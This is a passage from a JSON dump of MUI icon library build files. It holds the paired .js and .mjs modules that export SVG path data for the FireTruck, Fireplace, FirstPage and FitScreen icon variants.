8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-2.5 0H6.75v-2H8.5zm-5-2h1.75v2H3.5z\"\n}, \"1\")], 'FireTruckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h1c1.1 0 2-.9 2-2v-4.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.25 8.5H10v-2h.25c.41 0 .75-.34.75-.75S10.66 5 10.25 5h-8.5c-.41 0-.75.34-.75.75s.34.75.75.75H2v2h-.25c-.41 0-.75.34-.75.75s.34.75.75.75h8.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m-5 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h1c1.1 0 2-.9 2-2v-4.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.25 8.5H10v-2h.25c.41 0 .75-.34.75-.75S10.66 5 10.25 5h-8.5c-.41 0-.75.34-.75.75s.34.75.75.75H2v2h-.25c-.41 0-.75.34-.75.75s.34.75.75.75h8.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75m-5 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 11-2-6h-2V3h-3v2h-4v6H1v7h3c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3zM7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 11-2-6h-2V3h-3v2h-4v6H1v7h3c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3zM7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16h1.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H12v-3H3zm11 0h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H21v-3h-7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-3H9.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-3h9zm2-9h5.56l1.33 4H14zm3 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-3h-1.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H14v-3h7z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"2\")], 'FireTruckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16h1.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H12v-3H3zm11 0h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H21v-3h-7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-3H9.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-3h9zm2-9h5.56l1.33 4H14zm3 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4-3h-1.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H14v-3h7z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"2\")], 'FireTruckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fireplace.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20h20V2zm9.86 14.96c.76-.24 1.4-1.04 1.53-1.63.13-.56-.1-1.05-.2-1.6-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.7-2.11 2.38-3.39 1.33M20 20h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}), 'Fireplace');"
  },
  {
    "path": "packages/mui-icons-material/lib/Fireplace.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20h20V2zm9.86 14.96c.76-.24 1.4-1.04 1.53-1.63.13-.56-.1-1.05-.2-1.6-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.7-2.11 2.38-3.39 1.33M20 20h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}), 'Fireplace');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 12.46c-.15.42-.15.82-.08 1.28.1.55.33 1.04.2 1.6-.13.59-.77 1.38-1.53 1.63 1.28 1.05 3.2.37 3.39-1.32.17-1.54-1.44-1.98-1.98-3.19\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20h20V2zm10 16c-1.58 0-2.97-1.88-3-3.06 0-.05-.01-.13-.01-.22-.13-1.73 1-3.2 2.47-4.37.47 1.01 1.27 2.03 2.57 2.92.58.42.97.86.97 1.73 0 1.65-1.35 3-3 3m8 2h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}, \"1\")], 'FireplaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 12.46c-.15.42-.15.82-.08 1.28.1.55.33 1.04.2 1.6-.13.59-.77 1.38-1.53 1.63 1.28 1.05 3.2.37 3.39-1.32.17-1.54-1.44-1.98-1.98-3.19\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20h20V2zm10 16c-1.58 0-2.97-1.88-3-3.06 0-.05-.01-.13-.01-.22-.13-1.73 1-3.2 2.47-4.37.47 1.01 1.27 2.03 2.57 2.92.58.42.97.86.97 1.73 0 1.65-1.35 3-3 3m8 2h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}, \"1\")], 'FireplaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 17c0 .55-.45 1-1 1h-1v-1c0-.55-.45-1-1-1h-1.15c.71-.85 1.15-1.89 1.15-3 0-1.89-1.09-2.84-1.85-3.36-1.86-1.27-2.23-2.78-2.25-3.72-.01-.4-.43-.63-.77-.43-5.8 3.43-5.15 7-5.13 7.51.03.96.49 2.07 1.24 3H7c-.55 0-1 .45-1 1v1H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1zm-6.8-5.26c-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.69-2.11 2.37-3.39 1.32.76-.24 1.4-1.04 1.53-1.63.12-.55-.11-1.04-.2-1.59\"\n}), 'FireplaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 17c0 .55-.45 1-1 1h-1v-1c0-.55-.45-1-1-1h-1.15c.71-.85 1.15-1.89 1.15-3 0-1.89-1.09-2.84-1.85-3.36-1.86-1.27-2.23-2.78-2.25-3.72-.01-.4-.43-.63-.77-.43-5.8 3.43-5.15 7-5.13 7.51.03.96.49 2.07 1.24 3H7c-.55 0-1 .45-1 1v1H5c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h14c.55 0 1 .45 1 1zm-6.8-5.26c-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.69-2.11 2.37-3.39 1.32.76-.24 1.4-1.04 1.53-1.63.12-.55-.11-1.04-.2-1.59\"\n}), 'FireplaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20h20V2zm11.2 11.74c-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.69-2.11 2.37-3.39 1.32.76-.24 1.4-1.04 1.53-1.63.12-.55-.11-1.04-.2-1.59M20 20h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}), 'FireplaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20h20V2zm11.2 11.74c-.08-.46-.07-.85.08-1.28.54 1.21 2.15 1.64 1.98 3.18-.19 1.69-2.11 2.37-3.39 1.32.76-.24 1.4-1.04 1.53-1.63.12-.55-.11-1.04-.2-1.59M20 20h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}), 'FireplaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h2v-2h2.23c-.75-.93-1.2-2.04-1.23-3-.02-.53-.73-4.43 6-8 0 0-.8 2.61 2.15 4.63.76.52 1.85 1.48 1.85 3.37 0 1.13-.39 2.16-1.02 3H18v2h2V4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.01 12.46c-.15.42-.15.82-.08 1.28.1.55.33 1.04.2 1.6-.13.59-.77 1.38-1.53 1.63 1.28 1.05 3.2.37 3.39-1.32.17-1.54-1.44-1.98-1.98-3.19\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 2v20h20V2zm10 16c-1.58 0-2.97-1.88-3-3.06 0-.05-.01-.13-.01-.22-.13-1.73 1-3.2 2.47-4.37.47 1.01 1.27 2.03 2.57 2.92.58.42.97.86.97 1.73 0 1.65-1.35 3-3 3m8 2h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}, \"2\")], 'FireplaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireplaceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h2v-2h2.23c-.75-.93-1.2-2.04-1.23-3-.02-.53-.73-4.43 6-8 0 0-.8 2.61 2.15 4.63.76.52 1.85 1.48 1.85 3.37 0 1.13-.39 2.16-1.02 3H18v2h2V4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.01 12.46c-.15.42-.15.82-.08 1.28.1.55.33 1.04.2 1.6-.13.59-.77 1.38-1.53 1.63 1.28 1.05 3.2.37 3.39-1.32.17-1.54-1.44-1.98-1.98-3.19\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 2v20h20V2zm10 16c-1.58 0-2.97-1.88-3-3.06 0-.05-.01-.13-.01-.22-.13-1.73 1-3.2 2.47-4.37.47 1.01 1.27 2.03 2.57 2.92.58.42.97.86.97 1.73 0 1.65-1.35 3-3 3m8 2h-2v-2h-2.02c.63-.84 1.02-1.87 1.02-3 0-1.89-1.09-2.85-1.85-3.37C12.2 9.61 13 7 13 7c-6.73 3.57-6.02 7.47-6 8 .03.96.49 2.07 1.23 3H6v2H4V4h16z\"\n}, \"2\")], 'FireplaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.7 15.89 13.82 12l3.89-3.89c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-4.59 4.59c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0 .38-.38.38-1.02-.01-1.4M7 6c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'FirstPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.7 15.89 13.82 12l3.89-3.89c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-4.59 4.59c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 0 .38-.38.38-1.02-.01-1.4M7 6c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1s-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'FirstPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FirstPageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.41 16.59 13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\"\n}), 'FirstPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4h3c1.1 0 2 .9 2 2v2h-2V6h-3zM4 8V6h3V4H4c-1.1 0-2 .9-2 2v2zm16 8v2h-3v2h3c1.1 0 2-.9 2-2v-2zM7 18H4v-2H2v2c0 1.1.9 2 2 2h3zM18 8H6v8h12z\"\n}), 'FitScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4h3c1.1 0 2 .9 2 2v2h-2V6h-3zM4 8V6h3V4H4c-1.1 0-2 .9-2 2v2zm16 8v2h-3v2h3c1.1 0 2-.9 2-2v-2zM7 18H4v-2H2v2c0 1.1.9 2 2 2h3zM18 8H6v8h12z\"\n}), 'FitScreen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FitScreenOutlined.js",
